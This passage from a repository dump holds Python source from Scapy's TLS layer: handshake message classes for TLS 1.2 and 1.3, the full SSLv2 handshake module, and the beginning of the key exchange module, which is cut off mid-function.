FieldLenField(\"dlen\", None, length_of=\"data\"),\n                   PacketListField(\"data\", [], UserMappingData,\n                                   length_from=lambda pkt:pkt.dlen)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass TLSSupplementalData(_TLSHandshake):\n    name = \"TLS Handshake - Supplemental Data\"\n    fields_desc = [ByteEnumField(\"msgtype\", 23, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   ThreeBytesLenField(\"sdatalen\", None, length_of=\"sdata\"),\n                   PacketListField(\"sdata\", [], SupDataEntry,\n                                   length_from=lambda pkt: pkt.sdatalen)]\n\n\n###############################################################################\n#   NewSessionTicket                                                          #\n###############################################################################\n\nclass TLSNewSessionTicket(_TLSHandshake):\n    \"\"\"\n    XXX When knowing the right secret, we should be able to read the ticket.\n    \"\"\"\n    name = \"TLS Handshake - New Session Ticket\"\n    fields_desc = [ByteEnumField(\"msgtype\", 4, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   IntField(\"lifetime\", 0xffffffff),\n                   FieldLenField(\"ticketlen\", None, length_of=\"ticket\"),\n                   StrLenField(\"ticket\", \"\",\n                               length_from=lambda pkt: pkt.ticketlen)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        s = kargs.get(\"tls_session\", None)\n        if s and s.tls_version and s.tls_version >= 0x0304:\n            return TLS13NewSessionTicket\n        return TLSNewSessionTicket\n\n    def post_dissection_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n        if self.tls_session.connection_end == \"client\":\n            self.tls_session.client_session_ticket = self.ticket\n\n\nclass TLS13NewSessionTicket(_TLSHandshake):\n    \"\"\"\n    Uncomment the TicketField line for parsing a RFC 5077 ticket.\n    \"\"\"\n    name = \"TLS 1.3 Handshake - New Session Ticket\"\n    fields_desc = [ByteEnumField(\"msgtype\", 4, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   IntField(\"ticket_lifetime\", 0xffffffff),\n                   IntField(\"ticket_age_add\", 0),\n                   FieldLenField(\"noncelen\", None, fmt=\"B\",\n                                 length_of=\"ticket_nonce\"),\n                   StrLenField(\"ticket_nonce\", \"\",\n                               length_from=lambda pkt: pkt.noncelen),\n                   FieldLenField(\"ticketlen\", None, length_of=\"ticket\"),\n                   # TicketField(\"ticket\", \"\",\n                   StrLenField(\"ticket\", \"\",\n                               length_from=lambda pkt: pkt.ticketlen),\n                   _ExtensionsLenField(\"extlen\", None, length_of=\"ext\"),\n                   _ExtensionsField(\"ext\", None,\n                                    length_from=lambda pkt: (pkt.msglen -\n                                                             (pkt.ticketlen or 0) -  # noqa: E501\n                                                             pkt.noncelen or 0) - 13)]  # noqa: E501\n\n    def build(self):\n        fval = self.getfieldval(\"ticket\")\n        if fval == b\"\":\n            # Here, the ticket is just a random 48-byte label\n            # The ticket may also be a self-encrypted and self-authenticated\n            # value\n            self.ticket = os.urandom(48)\n\n        fval = self.getfieldval(\"ticket_nonce\")\n        if fval == b\"\":\n            # Nonce is randomly chosen\n            self.ticket_nonce = os.urandom(32)\n\n        fval = self.getfieldval(\"ticket_lifetime\")\n        if fval == 0xffffffff:\n            # ticket_lifetime is set to 12 hours\n            self.ticket_lifetime = 43200\n\n        fval = self.getfieldval(\"ticket_age_add\")\n        if fval == 0:\n            # ticket_age_add is a random 32-bit value\n            self.ticket_age_add = struct.unpack(\"!I\", os.urandom(4))[0]\n\n        return _TLSHandshake.build(self)\n\n    def post_dissection_tls_session_update(self, msg_str):\n        if self.tls_session.connection_end == \"client\":\n            self.tls_session.client_session_ticket = self.ticket\n\n\n###############################################################################\n#   EndOfEarlyData                                                            #\n###############################################################################\n\nclass TLS13EndOfEarlyData(_TLSHandshake):\n    name = \"TLS 1.3 Handshake - End Of Early Data\"\n\n    fields_desc = [ByteEnumField(\"msgtype\", 5, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None)]\n\n\n###############################################################################\n#   KeyUpdate                                                                 #\n###############################################################################\n_key_update_request = {0: \"update_not_requested\", 1: \"update_requested\"}\n\n\nclass TLS13KeyUpdate(_TLSHandshake):\n    name = \"TLS 1.3 Handshake - Key Update\"\n    fields_desc = [ByteEnumField(\"msgtype\", 24, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   ByteEnumField(\"request_update\", 0, _key_update_request)]\n\n    def post_build_tls_session_update(self, msg_str):\n        s = self.tls_session\n        s.pwcs = writeConnState(ciphersuite=type(s.wcs.ciphersuite),\n                                connection_end=s.connection_end,\n                                tls_version=s.tls_version)\n        s.triggered_pwcs_commit = True\n        s.compute_tls13_next_traffic_secrets(s.connection_end, \"write\")\n\n    def post_dissection_tls_session_update(self, msg_str):\n        s = self.tls_session\n        s.prcs = writeConnState(ciphersuite=type(s.rcs.ciphersuite),\n                                connection_end=s.connection_end,\n                                tls_version=s.tls_version)\n        s.triggered_prcs_commit = True\n        if s.connection_end == \"server\":\n            s.compute_tls13_next_traffic_secrets(\"client\", \"read\")\n        elif s.connection_end == \"client\":\n            s.compute_tls13_next_traffic_secrets(\"server\", \"read\")\n\n\n###############################################################################\n#   All handshake messages defined in this module                             #\n###############################################################################\n\n_tls_handshake_cls = {0: TLSHelloRequest, 1: TLSClientHello,\n                      2: TLSServerHello, 3: TLSHelloVerifyRequest,\n                      4: TLSNewSessionTicket,\n                      8: TLSEncryptedExtensions, 11: TLSCertificate,\n                      12: TLSServerKeyExchange, 13: TLSCertificateRequest,\n                      14: TLSServerHelloDone, 15: TLSCertificateVerify,\n                      16: TLSClientKeyExchange, 20: TLSFinished,\n                      21: TLSCertificateURL, 22: TLSCertificateStatus,\n                      23: TLSSupplementalData}\n\n_tls13_handshake_cls = {1: TLS13ClientHello, 2: TLS13ServerHello,\n                        4: TLS13NewSessionTicket, 5: TLS13EndOfEarlyData,\n                        8: TLSEncryptedExtensions, 11: TLS13Certificate,\n                        13: TLS13CertificateRequest, 15: TLSCertificateVerify,\n                        20: TLSFinished, 24: TLS13KeyUpdate}\n"
  },
  {
    "path": "scapy/layers/tls/handshake_sslv2.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2017 Maxence Tury\n\n\"\"\"\nSSLv2 handshake fields & logic.\n\"\"\"\n\nimport struct\n\nfrom scapy.error import log_runtime, warning\nfrom scapy.utils import randstring\nfrom scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \\\n    ShortEnumField, StrLenField, XStrField, XStrLenField\n\nfrom scapy.packet import Padding\nfrom scapy.layers.tls.cert import Cert\nfrom scapy.layers.tls.basefields import _tls_version, _TLSVersionField\nfrom scapy.layers.tls.handshake import _CipherSuitesField\nfrom scapy.layers.tls.keyexchange import _TLSSignatureField, _TLSSignature\nfrom scapy.layers.tls.session import (_GenericTLSSessionInheritance,\n                                      readConnState, writeConnState)\nfrom scapy.layers.tls.crypto.suites import (_tls_cipher_suites,\n                                            _tls_cipher_suites_cls,\n                                            get_usable_ciphersuites,\n                                            SSL_CK_DES_192_EDE3_CBC_WITH_MD5)\n\n\n###############################################################################\n#   Generic SSLv2 Handshake message                                           #\n###############################################################################\n\n_sslv2_handshake_type = {0: \"error\", 1: \"client_hello\",\n                         2: \"client_master_key\", 3: \"client_finished\",\n                         4: \"server_hello\", 5: \"server_verify\",\n                         6: \"server_finished\", 7: \"request_certificate\",\n                         8: \"client_certificate\"}\n\n\nclass _SSLv2Handshake(_GenericTLSSessionInheritance):\n    \"\"\"\n    Inherited by other Handshake classes to get post_build().\n    Also used as a fallback for unknown TLS Handshake packets.\n    \"\"\"\n    name = \"SSLv2 Handshake Generic message\"\n    fields_desc = [ByteEnumField(\"msgtype\", None, _sslv2_handshake_type)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        Covers both post_build- and post_dissection- context updates.\n        \"\"\"\n        self.tls_session.handshake_messages.append(msg_str)\n        self.tls_session.handshake_messages_parsed.append(self)\n\n\n###############################################################################\n#   Error                                                                     #\n###############################################################################\n\n_tls_error_code = {1: \"no_cipher\", 2: \"no_certificate\",\n                   4: \"bad_certificate\", 6: \"unsupported_certificate_type\"}\n\n\nclass SSLv2Error(_SSLv2Handshake):\n    \"\"\"\n    SSLv2 Error.\n    \"\"\"\n    name = \"SSLv2 Handshake - Error\"\n    fields_desc = [ByteEnumField(\"msgtype\", 0, _sslv2_handshake_type),\n                   ShortEnumField(\"code\", None, _tls_error_code)]\n\n\n###############################################################################\n#   ClientHello                                                               #\n###############################################################################\n\nclass _SSLv2CipherSuitesField(_CipherSuitesField):\n    def __init__(self, name, default, dico, length_from=None):\n        _CipherSuitesField.__init__(self, name, default, dico,\n                                    length_from=length_from)\n        self.itemfmt = b\"\"\n        self.itemsize = 3\n\n    def i2m(self, pkt, val):\n        if val is None:\n            val2 = []\n        val2 = [(x >> 16, x & 0x00ffff) for x in val]\n        return b\"\".join([struct.pack(\">BH\", x[0], x[1]) for x in val2])\n\n    def m2i(self, pkt, m):\n        res = []\n        while m:\n            res.append(struct.unpack(\"!I\", b\"\\x00\" + m[:3])[0])\n            m = m[3:]\n        return res\n\n\nclass SSLv2ClientHello(_SSLv2Handshake):\n    \"\"\"\n    SSLv2 ClientHello.\n    \"\"\"\n    name = \"SSLv2 Handshake - Client Hello\"\n    fields_desc = [ByteEnumField(\"msgtype\", 1, _sslv2_handshake_type),\n                   _TLSVersionField(\"version\", 0x0002, _tls_version),\n\n                   FieldLenField(\"cipherslen\", None, fmt=\"!H\",\n                                 length_of=\"ciphers\"),\n                   FieldLenField(\"sidlen\", None, fmt=\"!H\",\n                                 length_of=\"sid\"),\n                   FieldLenField(\"challengelen\", None, fmt=\"!H\",\n                                 length_of=\"challenge\"),\n\n                   XStrLenField(\"sid\", b\"\",\n                                length_from=lambda pkt:pkt.sidlen),\n                   _SSLv2CipherSuitesField(\"ciphers\",\n                                           [SSL_CK_DES_192_EDE3_CBC_WITH_MD5],\n                                           _tls_cipher_suites,\n                                           length_from=lambda pkt: pkt.cipherslen),  # noqa: E501\n                   XStrLenField(\"challenge\", b\"\",\n                                length_from=lambda pkt:pkt.challengelen)]\n\n    def tls_session_update(self, msg_str):\n        super(SSLv2ClientHello, self).tls_session_update(msg_str)\n        self.tls_session.advertised_tls_version = self.version\n        self.tls_session.sslv2_common_cs = self.ciphers\n        self.tls_session.sslv2_challenge = self.challenge\n\n\n###############################################################################\n#   ServerHello                                                               #\n###############################################################################\n\nclass _SSLv2CertDataField(StrLenField):\n    def getfield(self, pkt, s):\n        tmp_len = 0\n        if self.length_from is not None:\n            tmp_len = self.length_from(pkt)\n        try:\n            certdata = Cert(s[:tmp_len])\n        except Exception:\n            # Packets are sometimes wrongly interpreted as SSLv2\n            # (see record.py). We ignore failures silently\n            certdata = s[:tmp_len]\n        return s[tmp_len:], certdata\n\n    def i2len(self, pkt, i):\n        if isinstance(i, Cert):\n            return len(i.der)\n        return len(i)\n\n    def i2m(self, pkt, i):\n        if isinstance(i, Cert):\n            return i.der\n        return i\n\n\nclass SSLv2ServerHello(_SSLv2Handshake):\n    \"\"\"\n    SSLv2 ServerHello.\n    \"\"\"\n    name = \"SSLv2 Handshake - Server Hello\"\n    fields_desc = [ByteEnumField(\"msgtype\", 4, _sslv2_handshake_type),\n\n                   ByteField(\"sid_hit\", 0),\n                   ByteEnumField(\"certtype\", 1, {1: \"x509_cert\"}),\n                   _TLSVersionField(\"version\", 0x0002, _tls_version),\n\n                   FieldLenField(\"certlen\", None, fmt=\"!H\",\n                                 length_of=\"cert\"),\n                   FieldLenField(\"cipherslen\", None, fmt=\"!H\",\n                                 length_of=\"ciphers\"),\n                   FieldLenField(\"connection_idlen\", None, fmt=\"!H\",\n                                 length_of=\"connection_id\"),\n\n                   _SSLv2CertDataField(\"cert\", b\"\",\n                                       length_from=lambda pkt: pkt.certlen),\n                   _SSLv2CipherSuitesField(\"ciphers\", [], _tls_cipher_suites,\n                                           length_from=lambda pkt: pkt.cipherslen),  # noqa: E501\n                   XStrLenField(\"connection_id\", b\"\",\n                                length_from=lambda pkt: pkt.connection_idlen)]\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        XXX Something should be done about the session ID here.\n        \"\"\"\n        super(SSLv2ServerHello, self).tls_session_update(msg_str)\n\n        s = self.tls_session\n        client_cs = s.sslv2_common_cs\n        css = [cs for cs in client_cs if cs in self.ciphers]\n        s.sslv2_common_cs = css\n        s.sslv2_connection_id = self.connection_id\n        s.tls_version = self.version\n        if self.cert is not None:\n            s.server_certs = [self.cert]\n\n\n###############################################################################\n#   ClientMasterKey                                                           #\n###############################################################################\n\nclass _SSLv2CipherSuiteField(EnumField):\n    def __init__(self, name, default, dico):\n        EnumField.__init__(self, name, default, dico)\n\n    def i2m(self, pkt, val):\n        if val is None:\n            return b\"\"\n        val2 = (val >> 16, val & 0x00ffff)\n        return struct.pack(\">BH\", val2[0], val2[1])\n\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)\n\n    def m2i(self, pkt, m):\n        return struct.unpack(\"!I\", b\"\\x00\" + m[:3])[0]\n\n    def getfield(self, pkt, s):\n        return s[3:], self.m2i(pkt, s)\n\n\nclass _SSLv2EncryptedKeyField(XStrLenField):\n    def i2repr(self, pkt, x):\n        s = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, x)\n        if pkt.decryptedkey is not None:\n            dx = pkt.decryptedkey\n            ds = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, dx)\n            s += \"    [decryptedkey= %s]\" % ds\n        return s\n\n\nclass SSLv2ClientMasterKey(_SSLv2Handshake):\n    \"\"\"\n    SSLv2 ClientMasterKey.\n    \"\"\"\n    __slots__ = [\"decryptedkey\"]\n    name = \"SSLv2 Handshake - Client Master Key\"\n    fields_desc = [ByteEnumField(\"msgtype\", 2, _sslv2_handshake_type),\n                   _SSLv2CipherSuiteField(\"cipher\", None, _tls_cipher_suites),\n\n                   FieldLenField(\"clearkeylen\", None, fmt=\"!H\",\n                                 length_of=\"clearkey\"),\n                   FieldLenField(\"encryptedkeylen\", None, fmt=\"!H\",\n                                 length_of=\"encryptedkey\"),\n                   FieldLenField(\"keyarglen\", None, fmt=\"!H\",\n                                 length_of=\"keyarg\"),\n\n                   XStrLenField(\"clearkey\", \"\",\n                                length_from=lambda pkt: pkt.clearkeylen),\n                   _SSLv2EncryptedKeyField(\"encryptedkey\", \"\",\n                                           length_from=lambda pkt: pkt.encryptedkeylen),  # noqa: E501\n                   XStrLenField(\"keyarg\", \"\",\n                                length_from=lambda pkt: pkt.keyarglen)]\n\n    def __init__(self, *args, **kargs):\n        \"\"\"\n        When post_building, the packets fields are updated (this is somewhat\n        non-standard). We might need these fields later, but calling __str__\n        on a new packet (i.e. not dissected from a raw string) applies\n        post_build to an object different from the original one... unless\n        we hackishly always set self.explicit to 1.\n        \"\"\"\n        self.decryptedkey = kargs.pop(\"decryptedkey\", b\"\")\n        super(SSLv2ClientMasterKey, self).__init__(*args, **kargs)\n        self.explicit = 1\n\n    def pre_dissect(self, s):\n        clearkeylen = struct.unpack(\"!H\", s[4:6])[0]\n        encryptedkeylen = struct.unpack(\"!H\", s[6:8])[0]\n        encryptedkeystart = 10 + clearkeylen\n        encryptedkey = s[encryptedkeystart:encryptedkeystart + encryptedkeylen]\n        if self.tls_session.server_rsa_key:\n            self.decryptedkey = \\\n                self.tls_session.server_rsa_key.decrypt(encryptedkey)\n        else:\n            self.decryptedkey = None\n        return s\n\n    def post_build(self, pkt, pay):\n        cs_val = None\n        if self.cipher is None:\n            common_cs = self.tls_session.sslv2_common_cs\n            cs_vals = get_usable_ciphersuites(common_cs, \"SSLv2\")\n            if len(cs_vals) == 0:\n                warning(\"No known common cipher suite between SSLv2 Hellos.\")\n                cs_val = 0x0700c0\n                cipher = b\"\\x07\\x00\\xc0\"\n            else:\n                cs_val = cs_vals[0]  # XXX choose the best one\n                cipher = struct.pack(\">BH\", cs_val >> 16, cs_val & 0x00ffff)\n            cs_cls = _tls_cipher_suites_cls[cs_val]\n            self.cipher = cs_val\n        else:\n            cipher = pkt[1:4]\n            cs_val = struct.unpack(\"!I\", b\"\\x00\" + cipher)[0]\n            if cs_val not in _tls_cipher_suites_cls:\n                warning(\"Unknown cipher suite %d from ClientMasterKey\", cs_val)\n                cs_cls = None\n            else:\n                cs_cls = _tls_cipher_suites_cls[cs_val]\n\n        if cs_cls:\n            if (self.encryptedkey == b\"\" and\n                    len(self.tls_session.server_certs) > 0):\n                # else, the user is responsible for export slicing & encryption\n                key = randstring(cs_cls.cipher_alg.key_len)\n\n                if self.clearkey == b\"\" and cs_cls.kx_alg.export:\n                    self.clearkey = key[:-5]\n\n                if self.decryptedkey == b\"\":\n                    if cs_cls.kx_alg.export:\n                        self.decryptedkey = key[-5:]\n                    else:\n                        self.decryptedkey = key\n\n                pubkey = self.tls_session.server_certs[0].pubkey\n                self.encryptedkey = pubkey.encrypt(self.decryptedkey)\n\n            if self.keyarg == b\"\" and cs_cls.cipher_alg.type == \"block\":\n                self.keyarg = randstring(cs_cls.cipher_alg.block_size)\n\n        clearkey = self.clearkey or b\"\"\n        if self.clearkeylen is None:\n            self.clearkeylen = len(clearkey)\n        clearkeylen = struct.pack(\"!H\", self.clearkeylen)\n\n        encryptedkey = self.encryptedkey or b\"\"\n        if self.encryptedkeylen is None:\n            self.encryptedkeylen = len(encryptedkey)\n        encryptedkeylen = struct.pack(\"!H\", self.encryptedkeylen)\n\n        keyarg = self.keyarg or b\"\"\n        if self.keyarglen is None:\n            self.keyarglen = len(keyarg)\n        keyarglen = struct.pack(\"!H\", self.keyarglen)\n\n        s = (pkt[:1] + cipher +\n             clearkeylen + encryptedkeylen + keyarglen +\n             clearkey + encryptedkey + keyarg)\n        return s + pay\n\n    def tls_session_update(self, msg_str):\n        super(SSLv2ClientMasterKey, self).tls_session_update(msg_str)\n\n        s = self.tls_session\n        cs_val = self.cipher\n        if cs_val not in _tls_cipher_suites_cls:\n            warning(\"Unknown cipher suite %d from ClientMasterKey\", cs_val)\n            cs_cls = None\n        else:\n            cs_cls = _tls_cipher_suites_cls[cs_val]\n\n        tls_version = s.tls_version or 0x0002\n        connection_end = s.connection_end\n        wcs_seq_num = s.wcs.seq_num\n        s.pwcs = writeConnState(ciphersuite=cs_cls,\n                                connection_end=connection_end,\n                                seq_num=wcs_seq_num,\n                                tls_version=tls_version)\n        rcs_seq_num = s.rcs.seq_num\n        s.prcs = readConnState(ciphersuite=cs_cls,\n                               connection_end=connection_end,\n                               seq_num=rcs_seq_num,\n                               tls_version=tls_version)\n\n        if self.decryptedkey is not None:\n            s.master_secret = self.clearkey + self.decryptedkey\n            s.compute_sslv2_km_and_derive_keys()\n\n            if s.pwcs.cipher.type == \"block\":\n                s.pwcs.cipher.iv = self.keyarg\n            if s.prcs.cipher.type == \"block\":\n                s.prcs.cipher.iv = self.keyarg\n\n            s.triggered_prcs_commit = True\n            s.triggered_pwcs_commit = True\n\n\n###############################################################################\n#   ServerVerify                                                              #\n###############################################################################\n\nclass SSLv2ServerVerify(_SSLv2Handshake):\n    \"\"\"\n    In order to parse a ServerVerify, the exact message string should be\n    fed to the class. This is how SSLv2 defines the challenge length...\n    \"\"\"\n    name = \"SSLv2 Handshake - Server Verify\"\n    fields_desc = [ByteEnumField(\"msgtype\", 5, _sslv2_handshake_type),\n                   XStrField(\"challenge\", \"\")]\n\n    def build(self, *args, **kargs):\n        fval = self.getfieldval(\"challenge\")\n        if fval is None:\n            self.challenge = self.tls_session.sslv2_challenge\n        return super(SSLv2ServerVerify, self).build(*args, **kargs)\n\n    def post_dissection(self, pkt):\n        s = self.tls_session\n        if s.sslv2_challenge is not None:\n            if self.challenge != s.sslv2_challenge:\n                pkt_info = pkt.firstlayer().summary()\n                log_runtime.info(\"TLS: invalid ServerVerify received [%s]\", pkt_info)  # noqa: E501\n\n\n###############################################################################\n#   RequestCertificate                                                        #\n###############################################################################\n\nclass SSLv2RequestCertificate(_SSLv2Handshake):\n    \"\"\"\n    In order to parse a RequestCertificate, the exact message string should be\n    fed to the class. This is how SSLv2 defines the challenge length...\n    \"\"\"\n    name = \"SSLv2 Handshake - Request Certificate\"\n    fields_desc = [ByteEnumField(\"msgtype\", 7, _sslv2_handshake_type),\n                   ByteEnumField(\"authtype\", 1, {1: \"md5_with_rsa\"}),\n                   XStrField(\"challenge\", \"\")]\n\n    def tls_session_update(self, msg_str):\n        super(SSLv2RequestCertificate, self).tls_session_update(msg_str)\n        self.tls_session.sslv2_challenge_clientcert = self.challenge\n\n\n###############################################################################\n#   ClientCertificate                                                         #\n###############################################################################\n\nclass SSLv2ClientCertificate(_SSLv2Handshake):\n    \"\"\"\n    SSLv2 ClientCertificate.\n    \"\"\"\n    name = \"SSLv2 Handshake - Client Certificate\"\n    fields_desc = [ByteEnumField(\"msgtype\", 8, _sslv2_handshake_type),\n\n                   ByteEnumField(\"certtype\", 1, {1: \"x509_cert\"}),\n                   FieldLenField(\"certlen\", None, fmt=\"!H\",\n                                 length_of=\"certdata\"),\n                   FieldLenField(\"responselen\", None, fmt=\"!H\",\n                                 length_of=\"responsedata\"),\n\n                   _SSLv2CertDataField(\"certdata\", b\"\",\n                                       length_from=lambda pkt: pkt.certlen),\n                   _TLSSignatureField(\"responsedata\", None,\n                                      length_from=lambda pkt: pkt.responselen)]\n\n    def build(self, *args, **kargs):\n        s = self.tls_session\n        sig = self.getfieldval(\"responsedata\")\n        test = (sig is None and\n                s.sslv2_key_material is not None and\n                s.sslv2_challenge_clientcert is not None and\n                len(s.server_certs) > 0)\n        if test:\n            s = self.tls_session\n            m = (s.sslv2_key_material +\n                 s.sslv2_challenge_clientcert +\n                 s.server_certs[0].der)\n            self.responsedata = _TLSSignature(tls_session=s)\n            self.responsedata._update_sig(m, s.client_key)\n        else:\n            self.responsedata = b\"\"\n        return super(SSLv2ClientCertificate, self).build(*args, **kargs)\n\n    def post_dissection_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n\n        s = self.tls_session\n        test = (len(s.client_certs) > 0 and\n                s.sslv2_key_material is not None and\n                s.sslv2_challenge_clientcert is not None and\n                len(s.server_certs) > 0)\n        if test:\n            m = (s.sslv2_key_material +\n                 s.sslv2_challenge_clientcert +\n                 s.server_certs[0].der)\n            sig_test = self.responsedata._verify_sig(m, s.client_certs[0])\n            if not sig_test:\n                pkt_info = self.firstlayer().summary()\n                log_runtime.info(\"TLS: invalid client CertificateVerify signature [%s]\", pkt_info)  # noqa: E501\n\n    def tls_session_update(self, msg_str):\n        super(SSLv2ClientCertificate, self).tls_session_update(msg_str)\n        if self.certdata:\n            self.tls_session.client_certs = [self.certdata]\n\n\n###############################################################################\n#   Finished                                                                  #\n###############################################################################\n\nclass SSLv2ClientFinished(_SSLv2Handshake):\n    \"\"\"\n    In order to parse a ClientFinished, the exact message string should be fed\n    to the class. SSLv2 does not offer any other way to know the c_id length.\n    \"\"\"\n    name = \"SSLv2 Handshake - Client Finished\"\n    fields_desc = [ByteEnumField(\"msgtype\", 3, _sslv2_handshake_type),\n                   XStrField(\"connection_id\", \"\")]\n\n    def build(self, *args, **kargs):\n        fval = self.getfieldval(\"connection_id\")\n        if fval == b\"\":\n            self.connection_id = self.tls_session.sslv2_connection_id\n        return super(SSLv2ClientFinished, self).build(*args, **kargs)\n\n    def post_dissection(self, pkt):\n        s = self.tls_session\n        if s.sslv2_connection_id is not None:\n            if self.connection_id != s.sslv2_connection_id:\n                pkt_info = pkt.firstlayer().summary()\n                log_runtime.info(\"TLS: invalid client Finished received [%s]\", pkt_info)  # noqa: E501\n\n\nclass SSLv2ServerFinished(_SSLv2Handshake):\n    \"\"\"\n    In order to parse a ServerFinished, the exact message string should be fed\n    to the class. SSLv2 does not offer any other way to know the sid length.\n    \"\"\"\n    name = \"SSLv2 Handshake - Server Finished\"\n    fields_desc = [ByteEnumField(\"msgtype\", 6, _sslv2_handshake_type),\n                   XStrField(\"sid\", \"\")]\n\n    def build(self, *args, **kargs):\n        fval = self.getfieldval(\"sid\")\n        if fval == b\"\" and self.tls_session:\n            self.sid = self.tls_session.sid\n        return super(SSLv2ServerFinished, self).build(*args, **kargs)\n\n    def post_dissection_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n        self.tls_session.sid = self.sid\n\n\n###############################################################################\n#   All handshake messages defined in this module                             #\n###############################################################################\n\n_sslv2_handshake_cls = {0: SSLv2Error, 1: SSLv2ClientHello,\n                        2: SSLv2ClientMasterKey, 3: SSLv2ClientFinished,\n                        4: SSLv2ServerHello, 5: SSLv2ServerVerify,\n                        6: SSLv2ServerFinished, 7: SSLv2RequestCertificate,\n                        8: SSLv2ClientCertificate}\n"
  },
  {
    "path": "scapy/layers/tls/keyexchange.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n#               2019 Romain Perez\n\n\"\"\"\nTLS key exchange logic.\n\"\"\"\n\nimport math\nimport struct\n\nfrom scapy.config import conf, crypto_validator\nfrom scapy.error import warning\nfrom scapy.fields import ByteEnumField, ByteField, EnumField, FieldLenField, \\\n    FieldListField, PacketField, ShortEnumField, ShortField, \\\n    StrFixedLenField, StrLenField\nfrom scapy.compat import orb\nfrom scapy.packet import Packet, Raw, Padding\nfrom scapy.layers.tls.cert import PubKeyRSA, PrivKeyRSA\nfrom scapy.layers.tls.session import _GenericTLSSessionInheritance\nfrom scapy.layers.tls.basefields import _tls_version, _TLSClientVersionField\nfrom scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip\nfrom scapy.layers.tls.crypto.groups import (\n    _ffdh_groups,\n    _tls_named_curves,\n    _tls_named_groups_generate,\n    _tls_named_groups_import,\n    _tls_named_groups_pubbytes,\n)\n\n\nif conf.crypto_valid:\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives.asymmetric import dh, ec\n    from cryptography.hazmat.primitives import serialization\nif conf.crypto_valid_advanced:\n    from cryptography.hazmat.primitives.asymmetric import x25519\n    from cryptography.hazmat.primitives.asymmetric import x448\n\n\n###############################################################################\n#   Common Fields                                                             #\n###############################################################################\n\n_tls_hash_sig = {0x0000: \"none+anon\", 0x0001: \"none+rsa\",\n                 0x0002: \"none+dsa\", 0x0003: \"none+ecdsa\",\n                 0x0100: \"md5+anon\", 0x0101: \"md5+rsa\",\n                 0x0102: \"md5+dsa\", 0x0103: \"md5+ecdsa\",\n                 0x0200: \"sha1+anon\", 0x0201: \"sha1+rsa\",\n                 0x0202: \"sha1+dsa\", 0x0203: \"sha1+ecdsa\",\n                 0x0300: \"sha224+anon\", 0x0301: \"sha224+rsa\",\n                 0x0302: \"sha224+dsa\", 0x0303: \"sha224+ecdsa\",\n                 0x0400: \"sha256+anon\", 0x0401: \"sha256+rsa\",\n                 0x0402: \"sha256+dsa\", 0x0403: \"sha256+ecdsa\",\n                 0x0500: \"sha384+anon\", 0x0501: \"sha384+rsa\",\n                 0x0502: \"sha384+dsa\", 0x0503: \"sha384+ecdsa\",\n                 0x0600: \"sha512+anon\", 0x0601: \"sha512+rsa\",\n                 0x0602: \"sha512+dsa\", 0x0603: \"sha512+ecdsa\",\n                 0x0804: \"sha256+rsaepss\", 0x0805: \"sha384+rsaepss\",\n                 0x0806: \"sha512+rsaepss\", 0x0807: \"ed25519\",\n                 0x0808: \"ed448\", 0x0809: \"sha256+rsapss\",\n                 0x080a: \"sha384+rsapss\", 0x080b: \"sha512+rsapss\"}\n\n\ndef phantom_mode(pkt):\n    \"\"\"\n    We expect this. If tls_version is not set, this means we did not process\n    any complete ClientHello, so we're most probably reading/building a\n    signature_algorithms extension, hence we cannot be in phantom_mode.\n    However, if the tls_version has been set, we test for TLS 1.2.\n    \"\"\"\n    if not pkt.tls_session:\n        return False\n    if not pkt.tls_session.tls_version:\n        return False\n    return pkt.tls_session.tls_version < 0x0303\n\n\ndef phantom_decorate(f, get_or_add):\n    \"\"\"\n    Decorator for version-dependent fields.\n    If get_or_add is True (means get), we return s, self.phantom_value.\n    If it is False (means add), we return s.\n    \"\"\"\n    def wrapper(*args):\n        self, pkt, s = args[:3]\n        if phantom_mode(pkt):\n            if get_or_add:\n                return s, self.phantom_value\n            return s\n        return f(*args)\n    return wrapper\n\n\nclass SigAndHashAlgField(EnumField):\n    \"\"\"Used in _TLSSignature.\"\"\"\n    phantom_value = None\n    getfield = phantom_decorate(EnumField.getfield, True)\n    addfield = phantom_decorate(EnumField.addfield, False)\n\n\nclass SigAndHashAlgsLenField(FieldLenField):\n    \"\"\"Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.\"\"\"\n    phantom_value = 0\n    getfield = phantom_decorate(FieldLenField.getfield, True)\n    addfield = phantom_decorate(FieldLenField.addfield, False)\n\n\nclass SigAndHashAlgsField(FieldListField):\n    \"\"\"Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest.\"\"\"\n    phantom_value = []\n    getfield = phantom_decorate(FieldListField.getfield, True)\n    addfield = phantom_decorate(FieldListField.addfield, False)\n\n\nclass SigLenField(FieldLenField):\n    \"\"\"There is a trick for SSLv2, which uses implicit lengths...\"\"\"\n\n    def getfield(self, pkt, s):\n        v = pkt.tls_session.tls_version\n        if v and v < 0x0300:\n            return s, None\n        return super(SigLenField, self).getfield(pkt, s)\n\n    def addfield(self, pkt, s, val):\n        \"\"\"With SSLv2 you will never be able to add a sig_len.\"\"\"\n        v = pkt.tls_session.tls_version\n        if v and v < 0x0300:\n            return s\n        return super(SigLenField, 